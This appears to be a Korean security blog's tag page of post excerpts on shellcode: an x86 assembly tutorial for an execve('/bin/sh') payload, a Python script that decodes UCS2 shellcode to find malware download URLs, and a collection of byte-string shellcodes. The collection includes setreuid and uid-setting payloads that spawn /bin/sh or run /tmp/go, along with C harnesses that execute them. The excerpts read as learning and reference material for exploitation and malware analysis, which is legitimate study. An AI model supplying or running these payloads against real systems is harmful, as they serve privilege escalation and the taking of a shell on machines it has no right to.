[태그:] Shellcode

쉘코드 제작하기!

.globl main main: jmp strings start: pop %esi xor %eax, %eax // 초기화 xor %ebx, %ebx // 초기화 xor %ecx, %ecx // 초기화 xor %edx, %edx // 초기화 mov %esi, 0x0(%esp) // %esp+0 부분에 "/bin/sh" 입력, name[0] mov %eax, 0x4(%esp) // %esp+4 부분에 NULL 입력, name[1] mov $0xb, %al // execve 시스템콜에 해당하는 0xb %eax에 …

UCS2 shellcode를 hex로 변환 후 문자열 확인

리눅스 머신에서 쉘코드에서 문자열 확인할 때 편하게 하고자 작성한 스크립트 입니다. 작성하고 사용하다 보니 최근 국내에 삽입되는 온라인게임핵 관련 악성코드는 XOR로 악성코드를 다운로드 받는 URL이 암호화 되어 있는데 이걸 좀 더 쉽게 찾을 수 있는 방법이 되기도 하네요… #!/usr/bin/env python import sys shellcode = sys.argv[1] paser = shellcode.split('%u') output = '' for x in paser: …

Shellcode 모음

uid, gid 설정 및 실행 파일 설정 char shellcode[] = "\x31\xc0\xb0\x46\x66\xbb\x66\x02\x66\xb9\x66\x02\xcd\x80" // uid 614 "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/tmp/go"; // /tmp/go 실행 int main() { printf("Length: %d bytes.\n'", strlen(shellcode)); (*(void(*)()) shellcode)(); return 0; } Universal setreuid() shellcode (출처 : http://hkpco.kr/paper/universal%20setreuid%20shellcode.txt) char shellcode[] = "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80" // setreuid( geteuid() , geteuid() ); "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"; // shellcode int main() { printf("Length: …